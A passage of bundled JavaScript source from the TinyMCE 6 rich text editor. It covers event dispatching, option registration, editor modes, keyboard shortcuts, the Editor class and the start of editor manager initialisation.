            }
            if (callback.func.call(this.scope, event) === false) {
              event.preventDefault();
              return event;
            }
          }
        }
        return event;
      }
      on(name, callback, prepend, extra) {
        if (callback === false) {
          callback = never;
        }
        if (callback) {
          const wrappedCallback = {
            func: callback,
            removed: false
          };
          if (extra) {
            Tools.extend(wrappedCallback, extra);
          }
          const names = name.toLowerCase().split(' ');
          let i = names.length;
          while (i--) {
            const currentName = names[i];
            let handlers = this.bindings[currentName];
            if (!handlers) {
              handlers = [];
              this.toggleEvent(currentName, true);
            }
            if (prepend) {
              handlers = [
                wrappedCallback,
                ...handlers
              ];
            } else {
              handlers = [
                ...handlers,
                wrappedCallback
              ];
            }
            this.bindings[currentName] = handlers;
          }
        }
        return this;
      }
      off(name, callback) {
        if (name) {
          const names = name.toLowerCase().split(' ');
          let i = names.length;
          while (i--) {
            const currentName = names[i];
            let handlers = this.bindings[currentName];
            if (!currentName) {
              each$d(this.bindings, (_value, bindingName) => {
                this.toggleEvent(bindingName, false);
                delete this.bindings[bindingName];
              });
              return this;
            }
            if (handlers) {
              if (!callback) {
                handlers.length = 0;
              } else {
                const filteredHandlers = partition$2(handlers, handler => handler.func === callback);
                handlers = filteredHandlers.fail;
                this.bindings[currentName] = handlers;
                each$e(filteredHandlers.pass, handler => {
                  handler.removed = true;
                });
              }
              if (!handlers.length) {
                this.toggleEvent(name, false);
                delete this.bindings[currentName];
              }
            }
          }
        } else {
          each$d(this.bindings, (_value, name) => {
            this.toggleEvent(name, false);
          });
          this.bindings = {};
        }
        return this;
      }
      once(name, callback, prepend) {
        return this.on(name, callback, prepend, { once: true });
      }
      has(name) {
        name = name.toLowerCase();
        const binding = this.bindings[name];
        return !(!binding || binding.length === 0);
      }
    }

    const getEventDispatcher = obj => {
      if (!obj._eventDispatcher) {
        obj._eventDispatcher = new EventDispatcher({
          scope: obj,
          toggleEvent: (name, state) => {
            if (EventDispatcher.isNative(name) && obj.toggleNativeEvent) {
              obj.toggleNativeEvent(name, state);
            }
          }
        });
      }
      return obj._eventDispatcher;
    };
    const Observable = {
      fire(name, args, bubble) {
        return this.dispatch(name, args, bubble);
      },
      dispatch(name, args, bubble) {
        const self = this;
        if (self.removed && name !== 'remove' && name !== 'detach') {
          return normalize$3(name.toLowerCase(), args !== null && args !== void 0 ? args : {}, self);
        }
        const dispatcherArgs = getEventDispatcher(self).dispatch(name, args);
        if (bubble !== false && self.parent) {
          let parent = self.parent();
          while (parent && !dispatcherArgs.isPropagationStopped()) {
            parent.dispatch(name, dispatcherArgs, false);
            parent = parent.parent ? parent.parent() : undefined;
          }
        }
        return dispatcherArgs;
      },
      on(name, callback, prepend) {
        return getEventDispatcher(this).on(name, callback, prepend);
      },
      off(name, callback) {
        return getEventDispatcher(this).off(name, callback);
      },
      once(name, callback) {
        return getEventDispatcher(this).once(name, callback);
      },
      hasEventListeners(name) {
        return getEventDispatcher(this).has(name);
      }
    };

    const DOM$2 = DOMUtils.DOM;
    let customEventRootDelegates;
    const getEventTarget = (editor, eventName) => {
      if (eventName === 'selectionchange') {
        return editor.getDoc();
      }
      if (!editor.inline && /^mouse|touch|click|contextmenu|drop|dragover|dragend/.test(eventName)) {
        return editor.getDoc().documentElement;
      }
      const eventRoot = getEventRoot(editor);
      if (eventRoot) {
        if (!editor.eventRoot) {
          editor.eventRoot = DOM$2.select(eventRoot)[0];
        }
        return editor.eventRoot;
      }
      return editor.getBody();
    };
    const isListening = editor => !editor.hidden && !isReadOnly(editor);
    const fireEvent = (editor, eventName, e) => {
      if (isListening(editor)) {
        editor.dispatch(eventName, e);
      } else if (isReadOnly(editor)) {
        processReadonlyEvents(editor, e);
      }
    };
    const bindEventDelegate = (editor, eventName) => {
      if (!editor.delegates) {
        editor.delegates = {};
      }
      if (editor.delegates[eventName] || editor.removed) {
        return;
      }
      const eventRootElm = getEventTarget(editor, eventName);
      if (getEventRoot(editor)) {
        if (!customEventRootDelegates) {
          customEventRootDelegates = {};
          editor.editorManager.on('removeEditor', () => {
            if (!editor.editorManager.activeEditor) {
              if (customEventRootDelegates) {
                each$d(customEventRootDelegates, (_value, name) => {
                  editor.dom.unbind(getEventTarget(editor, name));
                });
                customEventRootDelegates = null;
              }
            }
          });
        }
        if (customEventRootDelegates[eventName]) {
          return;
        }
        const delegate = e => {
          const target = e.target;
          const editors = editor.editorManager.get();
          let i = editors.length;
          while (i--) {
            const body = editors[i].getBody();
            if (body === target || DOM$2.isChildOf(target, body)) {
              fireEvent(editors[i], eventName, e);
            }
          }
        };
        customEventRootDelegates[eventName] = delegate;
        DOM$2.bind(eventRootElm, eventName, delegate);
      } else {
        const delegate = e => {
          fireEvent(editor, eventName, e);
        };
        DOM$2.bind(eventRootElm, eventName, delegate);
        editor.delegates[eventName] = delegate;
      }
    };
    const EditorObservable = {
      ...Observable,
      bindPendingEventDelegates() {
        const self = this;
        Tools.each(self._pendingNativeEvents, name => {
          bindEventDelegate(self, name);
        });
      },
      toggleNativeEvent(name, state) {
        const self = this;
        if (name === 'focus' || name === 'blur') {
          return;
        }
        if (self.removed) {
          return;
        }
        if (state) {
          if (self.initialized) {
            bindEventDelegate(self, name);
          } else {
            if (!self._pendingNativeEvents) {
              self._pendingNativeEvents = [name];
            } else {
              self._pendingNativeEvents.push(name);
            }
          }
        } else if (self.initialized && self.delegates) {
          self.dom.unbind(getEventTarget(self, name), name, self.delegates[name]);
          delete self.delegates[name];
        }
      },
      unbindAllNativeEvents() {
        const self = this;
        const body = self.getBody();
        const dom = self.dom;
        if (self.delegates) {
          each$d(self.delegates, (value, name) => {
            self.dom.unbind(getEventTarget(self, name), name, value);
          });
          delete self.delegates;
        }
        if (!self.inline && body && dom) {
          body.onload = null;
          dom.unbind(self.getWin());
          dom.unbind(self.getDoc());
        }
        if (dom) {
          dom.unbind(body);
          dom.unbind(self.getContainer());
        }
      }
    };

    const stringListProcessor = value => {
      if (isString(value)) {
        return {
          value: value.split(/[ ,]/),
          valid: true
        };
      } else if (isArrayOf(value, isString)) {
        return {
          value,
          valid: true
        };
      } else {
        return {
          valid: false,
          message: `The value must be a string[] or a comma/space separated string.`
        };
      }
    };
    const getBuiltInProcessor = type => {
      const validator = (() => {
        switch (type) {
        case 'array':
          return isArray$1;
        case 'boolean':
          return isBoolean;
        case 'function':
          return isFunction;
        case 'number':
          return isNumber;
        case 'object':
          return isObject;
        case 'string':
          return isString;
        case 'string[]':
          return stringListProcessor;
        case 'object[]':
          return val => isArrayOf(val, isObject);
        case 'regexp':
          return val => is$4(val, RegExp);
        default:
          return always;
        }
      })();
      return value => processValue(value, validator, `The value must be a ${ type }.`);
    };
    const isBuiltInSpec = spec => isString(spec.processor);
    const getErrorMessage = (message, result) => {
      const additionalText = isEmpty$3(result.message) ? '' : `. ${ result.message }`;
      return message + additionalText;
    };
    const isValidResult = result => result.valid;
    const processValue = (value, processor, message = '') => {
      const result = processor(value);
      if (isBoolean(result)) {
        return result ? {
          value: value,
          valid: true
        } : {
          valid: false,
          message
        };
      } else {
        return result;
      }
    };
    const processDefaultValue = (name, defaultValue, processor) => {
      if (!isUndefined(defaultValue)) {
        const result = processValue(defaultValue, processor);
        if (isValidResult(result)) {
          return result.value;
        } else {
          console.error(getErrorMessage(`Invalid default value passed for the "${ name }" option`, result));
        }
      }
      return undefined;
    };
    const create$5 = (editor, initialOptions) => {
      const registry = {};
      const values = {};
      const setValue = (name, value, processor) => {
        const result = processValue(value, processor);
        if (isValidResult(result)) {
          values[name] = result.value;
          return true;
        } else {
          console.warn(getErrorMessage(`Invalid value passed for the ${ name } option`, result));
          return false;
        }
      };
      const register = (name, spec) => {
        const processor = isBuiltInSpec(spec) ? getBuiltInProcessor(spec.processor) : spec.processor;
        const defaultValue = processDefaultValue(name, spec.default, processor);
        registry[name] = {
          ...spec,
          default: defaultValue,
          processor
        };
        const initValue = get$a(values, name).orThunk(() => get$a(initialOptions, name));
        initValue.each(value => setValue(name, value, processor));
      };
      const isRegistered = name => has$2(registry, name);
      const get = name => get$a(values, name).orThunk(() => get$a(registry, name).map(spec => spec.default)).getOrUndefined();
      const set = (name, value) => {
        if (!isRegistered(name)) {
          console.warn(`"${ name }" is not a registered option. Ensure the option has been registered before setting a value.`);
          return false;
        } else {
          const spec = registry[name];
          if (spec.immutable) {
            console.error(`"${ name }" is an immutable option and cannot be updated`);
            return false;
          } else {
            return setValue(name, value, spec.processor);
          }
        }
      };
      const unset = name => {
        const registered = isRegistered(name);
        if (registered) {
          delete values[name];
        }
        return registered;
      };
      const isSet = name => has$2(values, name);
      return {
        register,
        isRegistered,
        get,
        set,
        unset,
        isSet
      };
    };

    const defaultModes = [
      'design',
      'readonly'
    ];
    const switchToMode = (editor, activeMode, availableModes, mode) => {
      const oldMode = availableModes[activeMode.get()];
      const newMode = availableModes[mode];
      try {
        newMode.activate();
      } catch (e) {
        console.error(`problem while activating editor mode ${ mode }:`, e);
        return;
      }
      oldMode.deactivate();
      if (oldMode.editorReadOnly !== newMode.editorReadOnly) {
        toggleReadOnly(editor, newMode.editorReadOnly);
      }
      activeMode.set(mode);
      fireSwitchMode(editor, mode);
    };
    const setMode = (editor, availableModes, activeMode, mode) => {
      if (mode === activeMode.get()) {
        return;
      } else if (!has$2(availableModes, mode)) {
        throw new Error(`Editor mode '${ mode }' is invalid`);
      }
      if (editor.initialized) {
        switchToMode(editor, activeMode, availableModes, mode);
      } else {
        editor.on('init', () => switchToMode(editor, activeMode, availableModes, mode));
      }
    };
    const registerMode = (availableModes, mode, api) => {
      if (contains$2(defaultModes, mode)) {
        throw new Error(`Cannot override default mode ${ mode }`);
      }
      return {
        ...availableModes,
        [mode]: {
          ...api,
          deactivate: () => {
            try {
              api.deactivate();
            } catch (e) {
              console.error(`problem while deactivating editor mode ${ mode }:`, e);
            }
          }
        }
      };
    };

    const create$4 = editor => {
      const activeMode = Cell('design');
      const availableModes = Cell({
        design: {
          activate: noop,
          deactivate: noop,
          editorReadOnly: false
        },
        readonly: {
          activate: noop,
          deactivate: noop,
          editorReadOnly: true
        }
      });
      registerReadOnlyContentFilters(editor);
      registerReadOnlySelectionBlockers(editor);
      return {
        isReadOnly: () => isReadOnly(editor),
        set: mode => setMode(editor, availableModes.get(), activeMode, mode),
        get: () => activeMode.get(),
        register: (mode, api) => {
          availableModes.set(registerMode(availableModes.get(), mode, api));
        }
      };
    };

    const each$2 = Tools.each, explode = Tools.explode;
    const keyCodeLookup = {
      f1: 112,
      f2: 113,
      f3: 114,
      f4: 115,
      f5: 116,
      f6: 117,
      f7: 118,
      f8: 119,
      f9: 120,
      f10: 121,
      f11: 122,
      f12: 123
    };
    const modifierNames = Tools.makeMap('alt,ctrl,shift,meta,access');
    const isModifier = key => key in modifierNames;
    const parseShortcut = pattern => {
      const shortcut = {};
      const isMac = Env.os.isMacOS() || Env.os.isiOS();
      each$2(explode(pattern.toLowerCase(), '+'), value => {
        if (isModifier(value)) {
          shortcut[value] = true;
        } else {
          if (/^[0-9]{2,}$/.test(value)) {
            shortcut.keyCode = parseInt(value, 10);
          } else {
            shortcut.charCode = value.charCodeAt(0);
            shortcut.keyCode = keyCodeLookup[value] || value.toUpperCase().charCodeAt(0);
          }
        }
      });
      const id = [shortcut.keyCode];
      let key;
      for (key in modifierNames) {
        if (shortcut[key]) {
          id.push(key);
        } else {
          shortcut[key] = false;
        }
      }
      shortcut.id = id.join(',');
      if (shortcut.access) {
        shortcut.alt = true;
        if (isMac) {
          shortcut.ctrl = true;
        } else {
          shortcut.shift = true;
        }
      }
      if (shortcut.meta) {
        if (isMac) {
          shortcut.meta = true;
        } else {
          shortcut.ctrl = true;
          shortcut.meta = false;
        }
      }
      return shortcut;
    };
    class Shortcuts {
      constructor(editor) {
        this.shortcuts = {};
        this.pendingPatterns = [];
        this.editor = editor;
        const self = this;
        editor.on('keyup keypress keydown', e => {
          if ((self.hasModifier(e) || self.isFunctionKey(e)) && !e.isDefaultPrevented()) {
            each$2(self.shortcuts, shortcut => {
              if (self.matchShortcut(e, shortcut)) {
                self.pendingPatterns = shortcut.subpatterns.slice(0);
                if (e.type === 'keydown') {
                  self.executeShortcutAction(shortcut);
                }
              }
            });
            if (self.matchShortcut(e, self.pendingPatterns[0])) {
              if (self.pendingPatterns.length === 1) {
                if (e.type === 'keydown') {
                  self.executeShortcutAction(self.pendingPatterns[0]);
                }
              }
              self.pendingPatterns.shift();
            }
          }
        });
      }
      add(pattern, desc, cmdFunc, scope) {
        const self = this;
        const func = self.normalizeCommandFunc(cmdFunc);
        each$2(explode(Tools.trim(pattern)), pattern => {
          const shortcut = self.createShortcut(pattern, desc, func, scope);
          self.shortcuts[shortcut.id] = shortcut;
        });
        return true;
      }
      remove(pattern) {
        const shortcut = this.createShortcut(pattern);
        if (this.shortcuts[shortcut.id]) {
          delete this.shortcuts[shortcut.id];
          return true;
        }
        return false;
      }
      normalizeCommandFunc(cmdFunc) {
        const self = this;
        const cmd = cmdFunc;
        if (typeof cmd === 'string') {
          return () => {
            self.editor.execCommand(cmd, false, null);
          };
        } else if (Tools.isArray(cmd)) {
          return () => {
            self.editor.execCommand(cmd[0], cmd[1], cmd[2]);
          };
        } else {
          return cmd;
        }
      }
      createShortcut(pattern, desc, cmdFunc, scope) {
        const shortcuts = Tools.map(explode(pattern, '>'), parseShortcut);
        shortcuts[shortcuts.length - 1] = Tools.extend(shortcuts[shortcuts.length - 1], {
          func: cmdFunc,
          scope: scope || this.editor
        });
        return Tools.extend(shortcuts[0], {
          desc: this.editor.translate(desc),
          subpatterns: shortcuts.slice(1)
        });
      }
      hasModifier(e) {
        return e.altKey || e.ctrlKey || e.metaKey;
      }
      isFunctionKey(e) {
        return e.type === 'keydown' && e.keyCode >= 112 && e.keyCode <= 123;
      }
      matchShortcut(e, shortcut) {
        if (!shortcut) {
          return false;
        }
        if (shortcut.ctrl !== e.ctrlKey || shortcut.meta !== e.metaKey) {
          return false;
        }
        if (shortcut.alt !== e.altKey || shortcut.shift !== e.shiftKey) {
          return false;
        }
        if (e.keyCode === shortcut.keyCode || e.charCode && e.charCode === shortcut.charCode) {
          e.preventDefault();
          return true;
        }
        return false;
      }
      executeShortcutAction(shortcut) {
        return shortcut.func ? shortcut.func.call(shortcut.scope) : null;
      }
    }

    const create$3 = () => {
      const buttons = {};
      const menuItems = {};
      const popups = {};
      const icons = {};
      const contextMenus = {};
      const contextToolbars = {};
      const sidebars = {};
      const views = {};
      const add = (collection, type) => (name, spec) => {
        collection[name.toLowerCase()] = {
          ...spec,
          type
        };
      };
      const addIcon = (name, svgData) => icons[name.toLowerCase()] = svgData;
      return {
        addButton: add(buttons, 'button'),
        addGroupToolbarButton: add(buttons, 'grouptoolbarbutton'),
        addToggleButton: add(buttons, 'togglebutton'),
        addMenuButton: add(buttons, 'menubutton'),
        addSplitButton: add(buttons, 'splitbutton'),
        addMenuItem: add(menuItems, 'menuitem'),
        addNestedMenuItem: add(menuItems, 'nestedmenuitem'),
        addToggleMenuItem: add(menuItems, 'togglemenuitem'),
        addAutocompleter: add(popups, 'autocompleter'),
        addContextMenu: add(contextMenus, 'contextmenu'),
        addContextToolbar: add(contextToolbars, 'contexttoolbar'),
        addContextForm: add(contextToolbars, 'contextform'),
        addSidebar: add(sidebars, 'sidebar'),
        addView: add(views, 'views'),
        addIcon,
        getAll: () => ({
          buttons,
          menuItems,
          icons,
          popups,
          contextMenus,
          contextToolbars,
          sidebars,
          views
        })
      };
    };

    const registry = () => {
      const bridge = create$3();
      return {
        addAutocompleter: bridge.addAutocompleter,
        addButton: bridge.addButton,
        addContextForm: bridge.addContextForm,
        addContextMenu: bridge.addContextMenu,
        addContextToolbar: bridge.addContextToolbar,
        addIcon: bridge.addIcon,
        addMenuButton: bridge.addMenuButton,
        addMenuItem: bridge.addMenuItem,
        addNestedMenuItem: bridge.addNestedMenuItem,
        addSidebar: bridge.addSidebar,
        addSplitButton: bridge.addSplitButton,
        addToggleButton: bridge.addToggleButton,
        addGroupToolbarButton: bridge.addGroupToolbarButton,
        addToggleMenuItem: bridge.addToggleMenuItem,
        addView: bridge.addView,
        getAll: bridge.getAll
      };
    };

    const DOM$1 = DOMUtils.DOM;
    const extend = Tools.extend, each$1 = Tools.each;
    class Editor {
      constructor(id, options, editorManager) {
        this.plugins = {};
        this.contentCSS = [];
        this.contentStyles = [];
        this.loadedCSS = {};
        this.isNotDirty = false;
        this.composing = false;
        this.destroyed = false;
        this.hasHiddenInput = false;
        this.iframeElement = null;
        this.initialized = false;
        this.readonly = false;
        this.removed = false;
        this.startContent = '';
        this._pendingNativeEvents = [];
        this._skinLoaded = false;
        this.editorManager = editorManager;
        this.documentBaseUrl = editorManager.documentBaseURL;
        extend(this, EditorObservable);
        const self = this;
        this.id = id;
        this.hidden = false;
        const normalizedOptions = normalizeOptions(editorManager.defaultOptions, options);
        this.options = create$5(self, normalizedOptions);
        register$7(self);
        const getOption = this.options.get;
        if (getOption('deprecation_warnings')) {
          logWarnings(options, normalizedOptions);
        }
        const suffix = getOption('suffix');
        if (suffix) {
          editorManager.suffix = suffix;
        }
        this.suffix = editorManager.suffix;
        const baseUrl = getOption('base_url');
        if (baseUrl) {
          editorManager._setBaseUrl(baseUrl);
        }
        this.baseUri = editorManager.baseURI;
        const referrerPolicy = getReferrerPolicy(self);
        if (referrerPolicy) {
          ScriptLoader.ScriptLoader._setReferrerPolicy(referrerPolicy);
          DOMUtils.DOM.styleSheetLoader._setReferrerPolicy(referrerPolicy);
        }
        const contentCssCors = hasContentCssCors(self);
        if (isNonNullable(contentCssCors)) {
          DOMUtils.DOM.styleSheetLoader._setContentCssCors(contentCssCors);
        }
        AddOnManager.languageLoad = getOption('language_load');
        AddOnManager.baseURL = editorManager.baseURL;
        this.setDirty(false);
        this.documentBaseURI = new URI(getDocumentBaseUrl(self), { base_uri: this.baseUri });
        this.baseURI = this.baseUri;
        this.inline = isInline(self);
        this.hasVisual = isVisualAidsEnabled(self);
        this.shortcuts = new Shortcuts(this);
        this.editorCommands = new EditorCommands(this);
        registerCommands(this);
        const cacheSuffix = getOption('cache_suffix');
        if (cacheSuffix) {
          Env.cacheSuffix = cacheSuffix.replace(/^[\?\&]+/, '');
        }
        this.ui = {
          registry: registry(),
          styleSheetLoader: undefined,
          show: noop,
          hide: noop,
          setEnabled: noop,
          isEnabled: always
        };
        this.mode = create$4(self);
        editorManager.dispatch('SetupEditor', { editor: this });
        const setupCallback = getSetupCallback(self);
        if (isFunction(setupCallback)) {
          setupCallback.call(self, self);
        }
      }
      render() {
        render(this);
      }
      focus(skipFocus) {
        this.execCommand('mceFocus', false, skipFocus);
      }
      hasFocus() {
        return hasFocus(this);
      }
      translate(text) {
        return I18n.translate(text);
      }
      getParam(name, defaultVal, type) {
        const options = this.options;
        if (!options.isRegistered(name)) {
          if (isNonNullable(type)) {
            options.register(name, {
              processor: type,
              default: defaultVal
            });
          } else {
            options.register(name, {
              processor: always,
              default: defaultVal
            });
          }
        }
        return !options.isSet(name) && !isUndefined(defaultVal) ? defaultVal : options.get(name);
      }
      hasPlugin(name, loaded) {
        const hasPlugin = contains$2(getPlugins(this), name);
        if (hasPlugin) {
          return loaded ? PluginManager.get(name) !== undefined : true;
        } else {
          return false;
        }
      }
      nodeChanged(args) {
        this._nodeChangeDispatcher.nodeChanged(args);
      }
      addCommand(name, callback, scope) {
        this.editorCommands.addCommand(name, callback, scope);
      }
      addQueryStateHandler(name, callback, scope) {
        this.editorCommands.addQueryStateHandler(name, callback, scope);
      }
      addQueryValueHandler(name, callback, scope) {
        this.editorCommands.addQueryValueHandler(name, callback, scope);
      }
      addShortcut(pattern, desc, cmdFunc, scope) {
        this.shortcuts.add(pattern, desc, cmdFunc, scope);
      }
      execCommand(cmd, ui, value, args) {
        return this.editorCommands.execCommand(cmd, ui, value, args);
      }
      queryCommandState(cmd) {
        return this.editorCommands.queryCommandState(cmd);
      }
      queryCommandValue(cmd) {
        return this.editorCommands.queryCommandValue(cmd);
      }
      queryCommandSupported(cmd) {
        return this.editorCommands.queryCommandSupported(cmd);
      }
      show() {
        const self = this;
        if (self.hidden) {
          self.hidden = false;
          if (self.inline) {
            self.getBody().contentEditable = 'true';
          } else {
            DOM$1.show(self.getContainer());
            DOM$1.hide(self.id);
          }
          self.load();
          self.dispatch('show');
        }
      }
      hide() {
        const self = this;
        if (!self.hidden) {
          self.save();
          if (self.inline) {
            self.getBody().contentEditable = 'false';
            if (self === self.editorManager.focusedEditor) {
              self.editorManager.focusedEditor = null;
            }
          } else {
            DOM$1.hide(self.getContainer());
            DOM$1.setStyle(self.id, 'display', self.orgDisplay);
          }
          self.hidden = true;
          self.dispatch('hide');
        }
      }
      isHidden() {
        return this.hidden;
      }
      setProgressState(state, time) {
        this.dispatch('ProgressState', {
          state,
          time
        });
      }
      load(args = {}) {
        const self = this;
        const elm = self.getElement();
        if (self.removed) {
          return '';
        }
        if (elm) {
          const loadArgs = {
            ...args,
            load: true
          };
          const value = isTextareaOrInput(elm) ? elm.value : elm.innerHTML;
          const html = self.setContent(value, loadArgs);
          if (!loadArgs.no_events) {
            self.dispatch('LoadContent', {
              ...loadArgs,
              element: elm
            });
          }
          return html;
        } else {
          return '';
        }
      }
      save(args = {}) {
        const self = this;
        let elm = self.getElement();
        if (!elm || !self.initialized || self.removed) {
          return '';
        }
        const getArgs = {
          ...args,
          save: true,
          element: elm
        };
        let html = self.getContent(getArgs);
        const saveArgs = {
          ...getArgs,
          content: html
        };
        if (!saveArgs.no_events) {
          self.dispatch('SaveContent', saveArgs);
        }
        if (saveArgs.format === 'raw') {
          self.dispatch('RawSaveContent', saveArgs);
        }
        html = saveArgs.content;
        if (!isTextareaOrInput(elm)) {
          if (args.is_removing || !self.inline) {
            elm.innerHTML = html;
          }
          const form = DOM$1.getParent(self.id, 'form');
          if (form) {
            each$1(form.elements, elm => {
              if (elm.name === self.id) {
                elm.value = html;
                return false;
              } else {
                return true;
              }
            });
          }
        } else {
          elm.value = html;
        }
        saveArgs.element = getArgs.element = elm = null;
        if (saveArgs.set_dirty !== false) {
          self.setDirty(false);
        }
        return html;
      }
      setContent(content, args) {
        return setContent(this, content, args);
      }
      getContent(args) {
        return getContent(this, args);
      }
      insertContent(content, args) {
        if (args) {
          content = extend({ content }, args);
        }
        this.execCommand('mceInsertContent', false, content);
      }
      resetContent(initialContent) {
        if (initialContent === undefined) {
          setContent(this, this.startContent, { format: 'raw' });
        } else {
          setContent(this, initialContent);
        }
        this.undoManager.reset();
        this.setDirty(false);
        this.nodeChanged();
      }
      isDirty() {
        return !this.isNotDirty;
      }
      setDirty(state) {
        const oldState = !this.isNotDirty;
        this.isNotDirty = !state;
        if (state && state !== oldState) {
          this.dispatch('dirty');
        }
      }
      getContainer() {
        const self = this;
        if (!self.container) {
          self.container = self.editorContainer || DOM$1.get(self.id + '_parent');
        }
        return self.container;
      }
      getContentAreaContainer() {
        return this.contentAreaContainer;
      }
      getElement() {
        if (!this.targetElm) {
          this.targetElm = DOM$1.get(this.id);
        }
        return this.targetElm;
      }
      getWin() {
        const self = this;
        if (!self.contentWindow) {
          const elm = self.iframeElement;
          if (elm) {
            self.contentWindow = elm.contentWindow;
          }
        }
        return self.contentWindow;
      }
      getDoc() {
        const self = this;
        if (!self.contentDocument) {
          const win = self.getWin();
          if (win) {
            self.contentDocument = win.document;
          }
        }
        return self.contentDocument;
      }
      getBody() {
        var _a, _b;
        const doc = this.getDoc();
        return (_b = (_a = this.bodyElement) !== null && _a !== void 0 ? _a : doc === null || doc === void 0 ? void 0 : doc.body) !== null && _b !== void 0 ? _b : null;
      }
      convertURL(url, name, elm) {
        const self = this, getOption = self.options.get;
        const urlConverterCallback = getUrlConverterCallback(self);
        if (isFunction(urlConverterCallback)) {
          return urlConverterCallback.call(self, url, elm, true, name);
        }
        if (!getOption('convert_urls') || elm === 'link' || isObject(elm) && elm.nodeName === 'LINK' || url.indexOf('file:') === 0 || url.length === 0) {
          return url;
        }
        if (getOption('relative_urls')) {
          return self.documentBaseURI.toRelative(url);
        }
        url = self.documentBaseURI.toAbsolute(url, getOption('remove_script_host'));
        return url;
      }
      addVisual(elm) {
        addVisual(this, elm);
      }
      remove() {
        remove$1(this);
      }
      destroy(automatic) {
        destroy(this, automatic);
      }
      uploadImages() {
        return this.editorUpload.uploadImages();
      }
      _scanForImages() {
        return this.editorUpload.scanForImages();
      }
    }

    const DOM = DOMUtils.DOM;
    const each = Tools.each;
    let boundGlobalEvents = false;
    let beforeUnloadDelegate;
    let editors = [];
    const globalEventDelegate = e => {
      const type = e.type;
      each(EditorManager.get(), editor => {
        switch (type) {
        case 'scroll':
          editor.dispatch('ScrollWindow', e);
          break;
        case 'resize':
          editor.dispatch('ResizeWindow', e);
          break;
        }
      });
    };
    const toggleGlobalEvents = state => {
      if (state !== boundGlobalEvents) {
        const DOM = DOMUtils.DOM;
        if (state) {
          DOM.bind(window, 'resize', globalEventDelegate);
          DOM.bind(window, 'scroll', globalEventDelegate);
        } else {
          DOM.unbind(window, 'resize', globalEventDelegate);
          DOM.unbind(window, 'scroll', globalEventDelegate);
        }
        boundGlobalEvents = state;
      }
    };
    const removeEditorFromList = targetEditor => {
      const oldEditors = editors;
      editors = filter$5(editors, editor => {
        return targetEditor !== editor;
      });
      if (EditorManager.activeEditor === targetEditor) {
        EditorManager.activeEditor = editors.length > 0 ? editors[0] : null;
      }
      if (EditorManager.focusedEditor === targetEditor) {
        EditorManager.focusedEditor = null;
      }
      return oldEditors.length !== editors.length;
    };
    const purgeDestroyedEditor = editor => {
      if (editor && editor.initialized && !(editor.getContainer() || editor.getBody()).parentNode) {
        removeEditorFromList(editor);
        editor.unbindAllNativeEvents();
        editor.destroy(true);
        editor.removed = true;
      }
    };
    const isQuirksMode = document.compatMode !== 'CSS1Compat';
    const EditorManager = {
      ...Observable,
      baseURI: null,
      baseURL: null,
      defaultOptions: {},
      documentBaseURL: null,
      suffix: null,
      majorVersion: '6',
      minorVersion: '3.1',
      releaseDate: '2022-12-06',
      i18n: I18n,
      activeEditor: null,
      focusedEditor: null,
      setup() {
        const self = this;
        let baseURL = '';
        let suffix = '';
        let documentBaseURL = URI.getDocumentBaseUrl(document.location);
        if (/^[^:]+:\/\/\/?[^\/]+\//.test(documentBaseURL)) {
          documentBaseURL = documentBaseURL.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
          if (!/[\/\\]$/.test(documentBaseURL)) {
            documentBaseURL += '/';
          }
        }
        const preInit = window.tinymce || window.tinyMCEPreInit;
        if (preInit) {
          baseURL = preInit.base || preInit.baseURL;
          suffix = preInit.suffix;
        } else {
          const scripts = document.getElementsByTagName('script');
          for (let i = 0; i < scripts.length; i++) {
            const src = scripts[i].src || '';
            if (src === '') {
              continue;
            }
            const srcScript = src.substring(src.lastIndexOf('/'));
            if (/tinymce(\.full|\.jquery|)(\.min|\.dev|)\.js/.test(src)) {
              if (srcScript.indexOf('.min') !== -1) {
                suffix = '.min';
              }
              baseURL = src.substring(0, src.lastIndexOf('/'));
              break;
            }
          }
          if (!baseURL && document.currentScript) {
            const src = document.currentScript.src;
            if (src.indexOf('.min') !== -1) {
              suffix = '.min';
            }
            baseURL = src.substring(0, src.lastIndexOf('/'));
          }
        }
        self.baseURL = new URI(documentBaseURL).toAbsolute(baseURL);
        self.documentBaseURL = documentBaseURL;
        self.baseURI = new URI(self.baseURL);
        self.suffix = suffix;
        setup$v(self);
      },
      overrideDefaults(defaultOptions) {
        const baseUrl = defaultOptions.base_url;
        if (baseUrl) {
          this._setBaseUrl(baseUrl);
        }
        const suffix = defaultOptions.suffix;
        if (suffix) {
          this.suffix = suffix;
        }
        this.defaultOptions = defaultOptions;
        const pluginBaseUrls = defaultOptions.plugin_base_urls;
        if (pluginBaseUrls !== undefined) {
          each$d(pluginBaseUrls, (pluginBaseUrl, pluginName) => {
            AddOnManager.PluginManager.urls[pluginName] = pluginBaseUrl;
          });
        }
      },
      init(options) {
        const self = this;
        let result;
        const invalidInlineTargets = Tools.makeMap('area base basefont br col frame hr img input isindex link meta param embed source wbr track ' + 'colgroup option table tbody tfoot thead tr th td script noscript style textarea video audio iframe object menu', ' ');
        const isInvalidInlineTarget = (options, elm) => options.inline && elm.tagName.toLowerCase() in invalidInlineTargets;
        const createId = elm => {
          let id = elm.id;
          if (!id) {
            id = get$a(elm, 'name').filter(name => !DOM.get(name)).getOrThunk(DOM.uniqueId);
            elm.setAttribute('id', id);
          }
          return id;
        };
        const execCallback = name => {
          const callback = options[name];
          if (!callback) {
            return;
          }
          return callback.apply(self, []);
        };
        const findTargets = options => {
          if (Env.browser.isIE() || Env.browser.isEdge()) {
            initError('TinyMCE does not support the browser you are using. For a list of supported' + ' browsers please see: https://www.tiny.cloud/docs/tinymce/6/support/#supportedwebbrowsers');
            return [];
          } else if (isQuirksMode) {
            initError('Failed to initialize the editor as the document is not in standards mode. ' + 'TinyMCE requires standards mode.');
            return [];
          } else if (isString(options.selector)) {
            return DOM.select(options.selector);
          } else if (isNonNullable(options.target)) {
            return [options.target];
          } else {
            return [];
          }
        };
        let provideResults = editors => {
          result = editors;
        };
        const initEditors = () => {
          let initCount = 0;
          const editors = [];
          let targets;
          const createEditor = (id, options, targetElm) => {
            const editor = new Editor(id, options, self);
            editors.push(editor);
            editor.on('init', () => {
              if (++initCount === targets.length) {
                provideResults(editors);
              }
            });
            editor.targetElm = editor.targetElm || targetElm;
            editor.render();
          };
          DOM.unbind(window, 'ready', initEditors);
          execCallback('onpageload');
          targets = unique$1(findTargets(options));
          Tools.each(targets, elm => {
            purgeDestroyedEditor(self.get(elm.id));
          });
          targets = Tools.grep(targets, elm => {
            return !self.get(elm.id);
          });
          if (targets.length === 0) {
            provideResults([]);
          } else {
